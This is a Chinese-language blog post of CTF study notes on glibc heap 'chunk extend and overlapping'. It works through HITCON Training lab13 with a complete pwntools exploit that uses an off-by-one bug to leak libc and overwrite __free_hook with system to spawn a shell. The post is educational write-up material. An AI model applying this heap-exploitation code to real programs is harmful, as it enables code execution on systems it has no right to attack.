Loading

Chunk Extend and Overlapping 学习笔记

学的这个

基本思想

ptmalloc 在对 chunk 进行各种操作时,会使用相关的宏。而这些宏的具体计算需要用到存储在 chunk 上的头部信息。如果我们可以对头部信息进行恰当的构造,就可以控制 ptmallocchunk 的部分行为,例如对前一个 chunk 的地址定位,free 后所被分配到的 bin等。

更具体一点就是,两个 chunk 覆盖到了同一片内存区域,这往往是通过 extend 实现的。通过 overlapping ,可以让原本我们不可控的区域变得可控。

遇到的一些知识点

关于 free 中的 Top chunk

所释放的 chunk 属于 fast bin 大小范围,则会直接放入 fast bin ;否则,当它与 Top chunk 相邻时,会直接被合并到 Top chunk 之中,不相邻就放入 unsorted bin 中。

malloc(size) 所申请的 chunk 的实际大小

有一个宏专门用来计算:

/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

意思就是:实际分配的内存大小是 头部大小+申请大小 然后向上对齐到两倍字长。

然而实际上,分配时会考虑到 prev_size 部分空间的复用,所以在实际情况中计算需要减去一个字长再对齐。

例如 malloc(0x18),实际分配的 chunk 大小应该是 0x10+0x18-0x8=0x20

HITCON Training lab13

对我这种 noob 非常友好的一道题

[*] '/home/pwner/Desktop/Study/Heap/Extend_and_Overlapping/lab13/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    Stripped:   No

审计 create_heapdelete_heap 函数,得知操作在内存中的基本流程:

对于 createmalloc(0x10) 一个 chunk 来存储一个结构如下的结构体:

struct Heap{
    int content_size;
    char *content_ptr;
};

再根据 content_sizecontent 分配一个 chunk

对于每一个创造的 Heap,指向它的指针都存储在 .bss 段中的 heaparray 中,每次会选择 heaparray 首个为空的元素存储。

edit_heap 函数中发现 off-by-one 任意字节:

unsigned __int64 edit_heap()
{
  int n0xA; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4u);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + n0xA) )
  {
    printf("Content of heap : ");
    read_input(*((void **)*(&heaparray + n0xA) + 1), *(_QWORD *)*(&heaparray + n0xA) + 1LL);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这是在 chunkoff-by-one,意味着我们可以修改下一个 chunkprev_sizesize,实现 chunk extend

首先需要泄露 libc_base,这一部分可以考虑这样做:

申请 4heap,分别为 heap0heap1heap2heap3,其中 heap0 用于 off-by-oneheap1 extend 到 heap2heap3 用于防止 free 时直接与 Top chunk 合并了。

通过 Edit heap0heap1heap2 合并在一起,然后 Delete heap1off-by-one 时具体构造 size = 0x81heap1 + content1 + heap2 + content2free 掉。然后 create 两次,第一次把 fastbin 中的 0x20chunk 用掉,防止后面 createheap 与我们要写的部分重叠,这个 heap 根据 create_heap 函数的逻辑,其编号会为 1;第二次用来覆盖 heap2 的内容,我们通过申请 0x70 大小的 chunk 可以把上面合并的内存拿回来写,将 heap2content_ptr 改为指向 got 表,然后通过 show heap2 得到 libc_base,这个 heap 的编号为 4

得到后 libc_base 后,通过 Edit heap4 可以再次改 heap2.content_ptr__free_hook 的地址,然后再用 Edit heap2system_addr。再随便拿个 heap/bin/sh\x00free 掉就可以 getshell 了。

exp:

from pwn import *
io = process('./pwn')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

def Create(heap_size,content):
    io.sendlineafter(b':',b'1')
    io.sendlineafter(b': ',str(heap_size).encode())
    io.sendafter(b':',content)
def Edit(index,content):
    io.sendlineafter(b':',b'2')
    io.sendlineafter(b':',str(index).encode())
    io.sendlineafter(b': ',content)
def Show(index):
    io.sendlineafter(b':',b'3')
    io.sendlineafter(b':',str(index).encode())
def Del(index):
    io.sendlineafter(b':',b'4')
    io.sendlineafter(b':',str(index).encode())

def Exploit():
    Create(0x18,b'a'*0x18) # id=0
    Create(0x10,b'b'*0x10) # id=1
    Create(0x10,b'c'*0x10) # id=2
    Create(0x10,b'd'*0x10) # id=3
    Edit(0,b'e'*0x18+b'\x81')
    Del(1)
    payload = b'f'*0x30+p64(0x20)+p64(0x21)+p64(0x8)+p64(elf.got['puts'])+b'f'*0x20
    Create(0x10,'z'*0x10) # id=1
    Create(0x70,payload) # id=4
    Show(2)
    io.recvuntil(b'Content : ')
    puts_addr = io.recv(6)+b'\x00'*2
    puts_addr = u64(puts_addr)
    libc_base = puts_addr-libc.symbols['puts']
    system_addr = libc_base+libc.symbols['system']
    free_hook_addr = libc_base+libc.symbols['__free_hook']
    print(hex(libc_base))
    Create(0x8,b'/bin/sh\x00') #id=5
    payload = b'g'*0x30+p64(0x20)+p64(0x21)+p64(0x8)+p64(free_hook_addr)+b'g'*0x20 
    Edit(4,payload)
    Edit(2,p64(system_addr))
    Del(5)
    io.interactive()

if __name__ == '__main__':
    Exploit()

2015 hacklu bookstore

施工中.....

2016 Nuit du Hack CTF Quals : night deamonic heap

施工中.....

posted @ 2026-01-30 17:23  Regules  阅读(5)  评论(0)    收藏  举报